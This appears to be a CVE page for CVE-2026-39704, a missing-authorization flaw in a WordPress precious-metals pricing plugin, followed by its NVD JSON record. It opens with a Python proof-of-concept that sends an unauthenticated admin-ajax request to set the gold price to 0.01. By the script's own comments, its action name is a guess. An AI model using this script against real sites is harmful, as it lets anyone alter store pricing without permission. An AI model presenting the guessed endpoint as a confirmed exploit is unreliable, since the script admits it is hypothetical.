CVE-2026-39704

import requests # Exploit Title: Precious Metals Automated Product Pricing - Pro < 4.0.5 Missing Authorization PoC # Description: This script demonstrates how to exploit the missing authorization vulnerability. target_url = "http://example.com/wp-admin/admin-ajax.php" # Vulnerable action name (Hypothetical based on plugin functionality) data = { "action": "pmapp_update_pricing", # Replace with actual action name if known "price_type": "gold", "price_value": "0.01" } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check if settings changed.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-39704", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:43.083", "lastModified": "2026-04-29T10:17:42.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in nfusionsolutions Precious Metals Automated Product Pricing – Pro precious-metals-automated-product-pricing-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Precious Metals Automated Product Pricing – Pro: from n/a through <= 4.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/precious-metals-automated-product-pricing-pro/vulnerability/wordpress-precious-metals-automated-product-pricing-pro-plugin-4-0-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}